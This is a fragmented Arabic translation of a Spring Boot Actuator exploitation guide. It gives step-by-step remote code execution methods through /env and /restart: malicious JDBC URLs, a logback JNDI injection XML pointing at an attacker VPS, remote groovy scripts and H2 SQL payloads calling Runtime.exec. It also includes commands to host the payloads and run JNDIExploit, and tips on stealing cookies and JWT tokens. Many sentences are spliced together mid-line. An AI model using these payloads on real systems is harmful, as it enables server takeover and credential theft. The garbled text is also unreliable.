jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
حاول الوصول إلى واجهة استعلام قاعدة البيانات المعروفة للموقع، على سبيل المثال: /product/list، أو ابحث عن طرق أخرى لتشغيل استعلام قاعدة البيانات على الموقع الأصلي بشكل نشط، ثم سيتم تشغيل الثغرة الأمنية.
بعد الانتهاء من استغلال ثغرة إلغاء التسلسل، استخدم طريقة الخطوة الثالثة لاستعادة قيمة value الأصلية لـ spring.datasource.url المسجلة في الخطوة الأولى.
New-Exploit-Technique-In-Java-Deserialization-Attack
يجب تكوين spring.datasource.url و spring.datasource.username و spring.datasource.password في application.properties لضمان الاتصال بقاعدة بيانات mysql بشكل طبيعي، وإلا فسيحدث خطأ عند بدء التشغيل ويتم الخروج.
repository/springboot-mysql-jdbc-rce
الوصول العادي:``` http://127.0.0.1:9097/actuator/env
بعد إرسال payload، يتم تشغيل الثغرة الأمنية:```
http://127.0.0.1:9097/product/list
/env للموقع المستهدف لتعيين الخصائص/restart للموقع المستهدف لإعادة تشغيل التطبيقjavax.naming.spi.ObjectFactory، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامجقم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، ويفضل استخدام منافذ خدمة HTTP شائعة (80، 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ضع الملف الذي ينتهي بـ `xml` `example.xml` في الدليل الجذر، المحتوى الفعلي يجب تحديده وفقًا لخدمة JNDI المستخدمة في الخطوة 2:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
ارجع إلى المقال، قم بتعديل JNDIExploit وتشغيله (يمكن أيضًا استخدام طرق أخرى):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### الخطوة الثالثة: ضبط خاصية logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### الخطوة الرابعة: إعادة تشغيل التطبيق
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### مبدأ الثغرة:
1. يقوم الجهاز المستهدف بتعيين عنوان URL لملف تكوين سجل logback عبر خاصية logging.config
2. بعد إعادة تشغيل التطبيق (restart)، سيطلب البرنامج عنوان URL للحصول على محتوى ملف XML ضار
3. يستخدم الجهاز المستهدف saxParser.parse لتحليل ملف XML (وهذا يؤدي إلى ثغرة XXE)
4. في ملف XML، باستخدام علامة `insertFormJNDI` من تبعية `logback`، يتم تعيين عنوان خادم JNDI خارجي
5. يطلب الجهاز المستهدف خادم JNDI ضار، مما يؤدي إلى حقن JNDI وإحداث ثغرة RCE
#### تحليل الثغرة:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### بيئة الثغرة:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
الوصول العادي:```
http://127.0.0.1:9098/actuator/env
/env على الموقع الهدف لتعيين الخصائص/restart على الموقع الهدف لإعادة تشغيل التطبيققم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم منافذ خدمات HTTP الشائعة (80، 443) قدر الإمكان.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ضع في الدليل الجذر ملفًا باسم `example.groovy` ينتهي بـ `groovy`، محتواه هو كود groovy الذي سيتم تنفيذه، على سبيل المثال:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logback عبر خاصية logging.configrestart)، يقوم البرنامج بطلب عنوان URL المحددch.qos.logback.classic.util.ContextInitializer.java الخاص بمكون logback-classic، يتم التحقق مما إذا كان عنوان url ينتهي بـ groovyurl ينتهي بـ groovy، فسيتم في النهاية تنفيذ كود groovy الموجود في محتوى الملف، مما يؤدي إلى ثغرة تنفيذ الأوامر (RCE)repository/springboot-restart-rce
الوصول العادي:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### شروط الاستغلال:
- يمكن إرسال طلب POST إلى واجهة `/env` للموقع المستهدف لتعيين الخصائص
- يمكن إرسال طلب POST إلى واجهة `/restart` للموقع المستهدف لإعادة تشغيل التطبيق
- ⚠️ يجب أن يتمكن الهدف من إرسال طلبات إلى خادم HTTP الخاص بالمهاجم (يجب أن تكون الطلبات قادرة على الوصول إلى الإنترنت الخارجي)، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج
- ⚠️ إذا أعاد خادم HTTP ملفًا يحتوي على بناء جملة groovy غير صحيح، فسيؤدي ذلك إلى خروج غير طبيعي للبرنامج
- ⚠️ يجب أن يكون هناك اعتماد على groovy في البيئة، وإلا سيؤدي ذلك إلى خروج غير طبيعي للبرنامج
#### طريقة الاستغلال:
##### الخطوة الأولى: استضافة ملف groovy
على جهاز VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، واستخدم منافذ HTTP الشائعة قدر الإمكان (80، 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
ضع في الدليل الجذر ملف example.groovy ينتهي بـ groovy، محتواه هو كود groovy الذي سيتم تنفيذه، على سبيل المثال:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### الخطوة الثانية: تعيين خاصية spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### الخطوة الثالثة: إعادة تشغيل التطبيق
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### مبدأ الثغرة:
1. يمكن للجهاز الهدف تعيين عنوان URL لمصادر إضافية لإنشاء ApplicationContext عبر خاصية spring.main.sources
2. بعد إعادة تشغيل التطبيق (restart)، سيطلب البرنامج عنوان URL المحدد
3. في مكون `spring-boot`، يتحقق المنطق البرمجي في ملف `org.springframework.boot.BeanDefinitionLoader.java` مما إذا كان عنوان url ينتهي بـ `.groovy`
4. إذا كان عنوان url ينتهي بـ `.groovy`، فسيتم تنفيذ كود groovy داخل محتوى الملف، مما يؤدي إلى ثغرة RCE
#### بيئة الثغرة:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
الوصول العادي:```
http://127.0.0.1:9098/actuator/env
/env على الموقع المستهدف لتعيين الخصائص/restart على الموقع المستهدف لإعادة تشغيل التطبيقh2database و spring-boot-starter-data-jpa في البيئةقم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم منافذ خدمات HTTP الشائعة إن أمكن (80، 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
في الدليل الجذر، ضع ملفًا بأي اسم، محتواه هو كود h2 sql الذي يحتاج إلى التنفيذ، على سبيل المثال:
> ⚠️ طريقة 'T5' في الـ payload أدناه يمكن تنفيذها مرة واحدة فقط (restart)؛ يجب تغيير اسم الطريقة (مثل T6) وتعيين عنوان URL جديد لـ sql في إعادة التشغيل التالية، وإلا فإن إعادة التشغيل الثانية للتطبيق ستؤدي إلى خروج غير طبيعي للبرنامج.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java داخل مكون spring-boot-autoconfigure، يتم استخدام طريقة runScripts لتنفيذ كود SQL الخاص بقاعدة بيانات h2 من محتوى عنوان URL المطلوب، مما يؤدي إلى ثغرة RCE.repository/springboot-restart-rce
الوصول العادي:``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| الإصدار الكبير لـ Spring Cloud | إصدار Spring Boot |
|---|
| Angel | متوافق مع Spring Boot 1.2.x |
| Brixton | متوافق مع Spring Boot 1.3.x و 1.4.x |
| Camden | متوافق مع Spring Boot 1.4.x و 1.5.x |
| Dalston | متوافق مع Spring Boot 1.5.x، غير متوافق مع 2.0.x |
| Edgware | متوافق مع Spring Boot 1.5.x، غير متوافق مع 2.0.x |
| Finchley | متوافق مع Spring Boot 2.0.x، غير متوافق مع 1.5.x |
| Greenwich | متوافق مع Spring Boot 2.1.x |
| Hoxton | متوافق مع Spring Boot 2.2.x |
| إصدار مرشح للإصدار |
| RELEASE | إصدار رسمي |
| SRX | إصدار رسمي (يصلح الأخطاء والثغرات ويصدر مرة أخرى) |
/jolokia و /actuator/jolokia
يمكن عبر واجهة /jolokia/list البحث عن MBeans القابلة للاستغلال، مما يؤدي بشكل غير مباشر إلى تشغيل ثغرات RCE ذات الصلة، والحصول على النص الواضح لمعلومات الخصوصية الهامة المخفاة بعلامات نجمية، إلخ.
/trace و /actuator/httptrace
بعض معلومات تتبع طلبات http، قد يتم العثور فيها على تفاصيل معلومات طلبات بعض تطبيقات الشبكة الداخلية؛ بالإضافة إلى معلومات مثل cooki للمستخدمين الفعليين أو المسؤولين ورموز jwt token.